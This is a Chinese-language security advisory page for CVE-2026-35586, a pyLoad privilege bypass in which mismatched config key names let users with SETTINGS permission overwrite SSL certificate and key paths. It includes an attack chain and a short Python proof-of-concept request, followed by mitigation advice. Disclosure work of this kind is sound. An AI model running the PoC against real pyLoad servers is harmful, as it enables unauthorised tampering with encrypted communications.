IPBUF安全漏洞报告
English
CVE-2026-35586 CVSS 6.8 中危

CVE-2026-35586 pyLoad权限绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35586
漏洞类型
权限绕过
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

权限绕过pyLoad逻辑漏洞访问控制配置错误

漏洞概述

pyLoad是一款基于Python的免费开源下载管理器。在0.5.0b3.dev97版本之前的代码中,`set_config_value()`函数的权限校验机制存在严重逻辑缺陷。该函数用于限制仅管理员能修改的核心配置项(如SSL证书路径),但由于代码中使用的配置项名称(`ssl_cert`、`ssl_key`)与实际系统定义的名称(`ssl_certfile`、`ssl_keyfile`)不一致,导致校验逻辑失效。此外,`ssl_certchain`选项完全未被纳入保护范围。这赋予了任何仅拥有SETTINGS权限的普通用户修改关键SSL设置的权力,可能导致安全配置被篡改。

技术细节

该漏洞的核心在于`set_config_value()`方法中的访问控制列表(ACL)实现存在名称不匹配错误。开发者在定义`ADMIN_ONLY_CORE_OPTIONS`集合时,错误地使用了`ssl_cert`和`ssl_key`作为需要管理员权限保护的键名。然而,当用户通过API或前端接口提交配置更改时,实际传递并生效的配置键名是`ssl_certfile`和`ssl_keyfile`。由于字符串不匹配,权限校验逻辑(如`if key in ADMIN_ONLY_CORE_OPTIONS`)在处理这些关键参数时始终返回False,系统误判其不需要管理员权限。因此,仅拥有`SETTINGS`权限的低权限用户即可绕过`ADMIN`权限限制,直接调用接口覆盖SSL证书和私钥路径。攻击者利用此漏洞可指向恶意证书文件,从而破坏服务的加密通信完整性。

攻击链分析

STEP 1
1. 权限获取
攻击者注册一个普通账号或劫持一个具有SETTINGS权限的账号。
STEP 2
2. 参数分析
分析pyLoad代码或API请求,发现配置修改接口中实际使用的参数名为ssl_certfile和ssl_keyfile。
STEP 3
3. 构造攻击载荷
构造包含恶意路径的POST请求,利用参数名不匹配的漏洞,试图修改SSL配置。
STEP 4
4. 执行利用
发送请求,服务器校验逻辑失效,接受修改并将SSL路径指向攻击者控制的文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: pyLoad < 0.5.0b3.dev97 - SSL Configuration Privilege Escalation # Description: Bypass admin-only checks to overwrite SSL certificate paths. target_url = "http://127.0.0.1:8000/api/set_config_value" # Attacker's cookie (User with 'SETTINGS' permission, NOT 'ADMIN') attacker_cookie = { "pyload_session": "valid_low_privilege_session_token" } # The vulnerable payload. # The code checks for 'ssl_cert' in ADMIN_ONLY_CORE_OPTIONS, # but the actual config key is 'ssl_certfile', causing the check to fail. malicious_payload = { "ssl_certfile": "/path/to/malicious/cert.pem", "ssl_keyfile": "/path/to/malicious/key.pem", "ssl_certchain": "/path/to/malicious/chain.pem" } try: response = requests.post(target_url, json=malicious_payload, cookies=attacker_cookie) if response.status_code == 200: print("[+] Success: SSL configuration overwritten via privilege bypass.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed: HTTP {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

pyLoad < 0.5.0b3.dev97

防御指南

临时缓解措施
在未完成升级前,建议暂时撤销非管理员用户的SETTINGS权限,或通过网络策略限制对pyLoad管理接口的访问,仅允许受信任的IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表